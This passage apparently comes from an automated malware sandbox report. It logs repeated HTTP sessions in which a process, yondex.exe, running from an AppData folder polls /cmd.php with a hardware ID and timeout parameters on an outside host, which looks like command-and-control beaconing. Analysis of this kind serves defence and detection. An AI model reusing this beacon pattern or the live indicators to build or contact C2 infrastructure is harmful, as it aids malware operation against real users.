2024-06-23 09:32:31 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=fd0ed3b81222f557b87f597943955cad; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49796	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:31 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:32 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=31339c10b648383af7311c59deb9a0f0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49798	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:32 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:33 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=cf8033872ee23fcfea6f23485b5b62cf; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:33 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49799	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:34 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:35 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=243316787c73f34e7d7462cf332a0468; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49800	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:36 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:37 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=b741f52c604f89f8a0e2aa8983a56ed9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49801	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:37 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:38 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=3fd7baf7c0efb5d81c715cd642575a03; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:38 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49802	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:41 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:41 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=0de7b4e74749477eaef1ae868d5d8c41; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49803	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:42 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:42 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=e7e79891e207391a9a8386f06d0d1fc8; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:42 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49804	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:44 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:44 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=0c1417d1fc22758d1a6f818c191f40b2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49805	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:45 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:45 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2d7bc5049b7380bd87fda3310ad99abd; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:45 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49806	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:46 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:46 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=8ceb206dc75dc8baca88513de103bf34; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49807	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:47 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:48 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=24e4fde91affe7518ae9593da1d14ba6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:48 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49808	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:50 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:51 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=8ab58a6e96d5060c1f88e1760283e456; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49809	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:52 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:52 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2199943918ccab9b9225a000278e1093; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:52 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49810	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:55 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:55 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=6e26223efec701f05de49b581bf1c7ad; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49811	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:56 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:32:56 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=7883bb3e1054918d511549afdc466b9e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:32:56 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49812	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:32:59 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:32:59 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:32:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=0f0d882731242f3c6d179aff9f82576c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49813	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:00 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:00 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=8afc26dc924f8c0b5358d993127a81d9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:00 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49814	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:02 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:02 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=03f34a72b3562e32974755aa7dd59028; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49815	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:03 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:03 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=aacb6779417c2cf709e014f0dcecea4e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:03 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49816	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:05 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:05 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=c3083dc6113ac723f23bb78d31ecc01a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49817	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:06 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:07 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=85fd0b84153e5f74614f2b9642535cb2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:07 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49818	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:08 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:08 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=6ce9248e322e45b5baad9882989bb835; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49819	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:09 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:09 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=c259eaad96de6d792f192467ffb994f5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:09 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49820	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:11 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:11 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=058b61a51c4f8b5a68e6eb220de6a117; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49821	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:12 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:12 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=ac8dad0339d94104b81f2138c8a44a61; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:12 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49822	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:13 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:14 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=b2e767fd7fbb40c1d66e8cddddda9183; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49823	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:14 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:15 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=e9229ac33942c9e772ad92f8ca6eaa54; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49824	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:16 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:16 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2abe1135ffe9c0f94cc815b32a851375; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:16 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49826	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:17 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:17 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=506a84dd472265c66e27cf522d872994; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49827	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:18 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:18 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=6145004982c0e3cadb6b253f92bae506; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:18 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49828	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:19 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
